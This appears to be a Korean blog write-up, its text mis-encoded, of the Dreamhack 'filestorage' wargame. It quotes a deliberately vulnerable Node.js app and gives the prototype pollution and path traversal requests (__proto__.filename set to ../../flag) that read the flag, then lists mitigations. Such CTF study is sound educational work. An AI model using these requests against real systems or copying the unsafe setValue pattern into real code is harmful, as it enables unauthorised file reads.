๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/Wargame&CTF

[Dreamhack] Level2: filestorage

by Yun2๐Ÿ‘ 2024. 2. 2.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธ Access

ํŒŒ์ผ์„ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ๊ตฌํ˜„์ด ๋œ ๋œ ํ™ˆํŽ˜์ด์ง€์ž…๋‹ˆ๋‹ค.

 

 

๐Ÿ‘พ Exploit Algorithm & Payload

> app.js

๋”๋ณด๊ธฐ
const express=require('express');
const bodyParser=require('body-parser');
const ejs=require('ejs');
const hash=require('crypto-js/sha256');
const fs = require('fs');
const app=express();


var file={};
var read={};
function isObject(obj) {
  return obj !== null && typeof obj === 'object';
}
function setValue(obj, key, value) {
  const keylist = key.split('.');
  const e = keylist.shift();
  if (keylist.length > 0) {
    if (!isObject(obj[e])) obj[e] = {};
    setValue(obj[e], keylist.join('.'), value);
  } else {
    obj[key] = value;
    return obj;
  }
}

app.use(bodyParser.urlencoded({ extended: false }));
app.set('view engine','ejs');


app.get('/',function(req,resp){
	read['filename']='fake';
	resp.render(__dirname+"/ejs/index.ejs");

})

app.post('/mkfile',function(req,resp){
	let {filename,content}=req.body;
	filename=hash(filename).toString();
	fs.writeFile(__dirname+"/storage/"+filename,content,function(err){
		if(err==null){
			file[filename]=filename;
			resp.send('your file name is '+filename);
		}else{
			resp.write("<script>alert('error')</script>");
			resp.write("<script>window.location='/'</script>");
		}
	})

})

app.get('/readfile',function(req,resp){
	let filename=file[req.query.filename];
	if(filename==null){
		fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
			resp.send(data);
		})
	}else{
		read[filename]=filename.replaceAll('.','');
		fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
			if(err==null){
				resp.send(data);
			}else{
				resp.send('file is not existed');
			}
		})
	}

})

app.get('/test',function(req,resp){
	let {func,filename,rename}=req.query;
	if(func==null){
		resp.send("this page hasn't been made yet");
	}else if(func=='rename'){
		setValue(file,filename,rename)
		resp.send('rename');
	}else if(func=='reset'){
		read={};
		resp.send("file reset");
	}
})


app.listen(8000);

> dokerfile

๋”๋ณด๊ธฐ
FROM node

RUN mkdir -p /app
RUN echo 'BISC{fake flag}' > /flag

WORKDIR /app

COPY ./ /app

RUN npm install

EXPOSE 8000

CMD ["npm","start"]

 

 

#1


: '/' ํŽ˜์ด์ง€์—์„œ ํŒŒ์ผ ์ด๋ฆ„๊ณผ ๋‚ด์šฉ์„ ์ž…๋ ฅํ•˜๊ณ  ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋Š” ๊ณณ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

app.get('/test',function(req,resp){
    let {func,filename,rename}=req.query;
    if(func==null){
        resp.send("this page hasn't been made yet");
    } else if(func=='rename'){
        setValue(file,filename,rename)
        resp.send('rename');
    } else if(func=='reset'){
        read={};
        resp.send("file reset");
}})

: '/test' ๊ฒฝ๋กœ์— func, filename, rename์ด๋ผ๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ช…์ด ์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: '/test?func=rename' ๊ณผ '/test?func=reset'์— ๋”ฐ๋ผ ๋‹ค๋ฅธ ๋ฐ˜์‘์„ ํ•œ๋‹ค.

: '/test?func=rename&filename=[ํ•ด๋‹น ํŒŒ์ผ๋ช…]&rename=[๋ณ€๊ฒฝ๋œ ํŒŒ์ผ๋ช…]' ์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ’์„ ์ด์šฉํ•˜๋ฉด ํ•ด๋‹น ํŒŒ์ผ์˜ ์ด๋ฆ„์„ ๋ณ€๊ฒฝ๋œ ํŒŒ์ผ์˜ ์ด๋ฆ„์œผ๋กœ ๋ณ€๊ฒฝํ•˜๊ฒŒ ๋œ๋‹ค.

: '/test?func=reset'์˜ ๊ฒฝ์šฐ๋Š” read๋ฅผ ๋ฆฌ์…‹ํ•˜๊ฒŒ ๋œ๋‹ค.

 

 

#2


app.get('/readfile',function(req,resp){
    ...
   read[filename]=filename.replaceAll('.','');
    ...
})

...

app.get('/test',function(req,resp){
    ....
    }else if(func=='rename'){
        setValue(file,filename,rename)
    ....
})

: ์ฝ”๋“œ๋ฅผ ์ „์ฒด์ ์œผ๋กœ ์‚ดํ”ผ๋ฉด filedownload ์ทจ์•ฝ์ ์„ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•ด์„œ replaceAll() ํ•จ์ˆ˜๊ฐ€ ์‚ฌ์šฉ๋˜์–ด์žˆ๋‹ค.

: ํ•˜์ง€๋งŒ setValue() ํ•จ์ˆ˜์—์„œ prototype pollution ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค.

 

https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/

 

Node.js์—์„œ์˜ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ณต๊ฒฉ์ด๋ž€ ๋ฌด์—‡์ธ๊ฐ€

__proto__์„ ์ด์šฉํ•œ ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ(prototype pollution) ๊ณต๊ฒฉ์˜ ์›๋ฆฌ๋ฅผ ์„ค๋ช…ํ•˜๋ฉด์„œ ๋…ธ๋“œ ํ™˜๊ฒฝ์—์„œ ์‹ค์ œ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•œ ์‚ฌ๋ก€๋ฅผ ํ•จ๊ป˜ ์†Œ๊ฐœํ•ฉ๋‹ˆ๋‹ค.

blog.coderifleman.com

 

# prototype pollution ์˜ˆ์‹œ
const obj1 = {};
setValue(obj1, "__proto__.polluted", 1);
const obj2 = {};
console.log(obj2.polluted); // 1

: ๋‹ค์Œ ์˜ˆ์‹œ์™€ ๊ฐ™์ด Node.js์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ __proto__๋Š” Object.prototype๊ณผ ๊ฐ™๋‹ค๋Š” ๊ฒƒ์„ ์ด์šฉํ•ด ๋‹ค๋ฅธ ๊ฐ์ฒด ์†์„ฑ์— ์˜ํ–ฅ์„ ์ฃผ๋Š” ๋ฐฉ์‹์ด๋‹ค.

 

: ์ถ”๊ฐ€๋กœ Dockerfile์„ ํ™•์ธํ•˜์—ฌ flag ํŒŒ์ผ์ด ๋‚ด๋ถ€ ์–ด๋”˜๊ฐ€์— ์กด์žฌํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

 

 

#3


...
app.get('/readfile',function(req,resp){
    let filename=file[req.query.filename];
    if(filename==null){
        fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){
            resp.send(data);        })
    }else{
        read[filename]=filename.replaceAll('.','');
        fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){
            if(err==null){
                resp.send(data);
            }else{
              resp.send('file is not existed');
            }
        })
    }
})
...
GET /test?func=rename&filename=__proto__.filename&rename=../../flag
-> rename

: filename์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ด์šฉํ•ด read๋ฅผ ์˜ค์—ผ์‹œํ‚จ๋‹ค.

: filename๊ณผ rename ํŒŒ๋ผ๋ฏธํ„ฐ์— ํ”„๋กœํ† ํƒ€์ž… ์˜ค์—ผ ๊ณต๊ฒฉ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ์ „๋‹ฌ๋œ๋‹ค.

 

GET /test?func=reset

: ๊ทธ๋ฆฌ๊ณ  read ๊ฐ์ฒด๋ฅผ ์ดˆ๊ธฐํ™” ํ•ด์ค€๋‹ค.

: ์ดˆ๊ธฐํ™”๋ฅผ ํ•ด์ค˜์•ผํ•˜๋Š” ์ด์œ ๋Š” read ๊ฐ์ฒด์— 'filename'์ด๋ผ๋Š” ์†์„ฑ์„ ์ฐพ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.(read['filename']) ์ด๋Š” ํ•ญ์ƒ 'filename' ์†์„ฑ์„ ์ฐพ์ง€๋งŒ, read[filename]์€ filename ๋ณ€์ˆ˜์˜ ๊ฐ’์— ๋”ฐ๋ผ read ๊ฐ์ฒด์— ๋‹ค๋ฅธ ์†์„ฑ์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


GET /readfile?filename=

: ๊ทธ๋Ÿผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•ด๋‹น ์œ„์น˜์˜ flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

๐Ÿ“ŒSummary


 Node.js์˜ __proto__๋Š” ๊ฐ์ฒด์˜ ํ”„๋กœํ† ํƒ€์ž…์„ ์ฐธ์กฐํ•˜๋Š” ์†์„ฑ์ด๋‹ค. ํ”„๋กœํ† ํƒ€์ž… ๊ธฐ๋ฐ˜ ์ƒ์†์—์„œ ์ค‘์š”ํ•œ ์—ญํ• ์„ ํ•˜๋‚˜ ์ด๋Ÿฌํ•œ ์†์„ฑ์ด ์•…์˜์ ์ธ ์ฝ”๋“œ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค. ์ด๋ฅผ prototype pollution์ด๋ผ ํ•œ๋‹ค. ์ด๋Š” ์•…์˜์ ์ธ ์‚ฌ์šฉ์ž๊ฐ€ ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์„ ์กฐ์ž‘ํ•˜์—ฌ ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋™์ž‘์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” ๊ณต๊ฒฉ์œผ๋กœ ์›๋ž˜ ์—†๋˜ ์†์„ฑ์„ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜, ๊ธฐ์กด ์†์„ฑ์„ ๋ณ€๊ฒฝ ๋ฐ ๋ฉ”์„œ๋“œ๋ฅผ ์˜ค๋ฒ„๋ผ์ด๋“œํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

 

-๋Œ€์‘๋ฐฉ์•ˆ-

- ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ

: ์—ฌ๊ธฐ์„œ๋Š” ํŠนํžˆ __proto__ ์™€ ๊ด€๋ จ๋œ ๋ฌธ์ž๋‚˜ prototype๊ณผ ๊ฐ™์€ ํ‚ค์›Œ๋“œ๊ฐ€ ํฌํ•จ๋œ ์ž…๋ ฅ์„ ์ ์ ˆํžˆ ๊ฒ€์ฆํ•ด์•ผ ํ•จ.

- Object.freeze() ํ™œ์šฉ

: ์ด ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๊ฐ์ฒด๋ฅผ ๋™๊ฒฐํ•˜์—ฌ ๊ทธ ์†์„ฑ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์—†๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.

- ์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ ์ฃผ์˜

...

 

 

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > Wargame&CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level1:Beginner blue-whale  (1) 2024.02.07
[Dreamhack] Level2: Dream Gallery  (0) 2024.02.03
[Dreamhack] Level1: Type c-j  (2) 2024.02.02
[Dreamhack] Level1: baby-union  (2) 2024.02.02
[Dreamhack] CTF Season 5 Round #2 - php7cmp4re  (0) 2024.01.28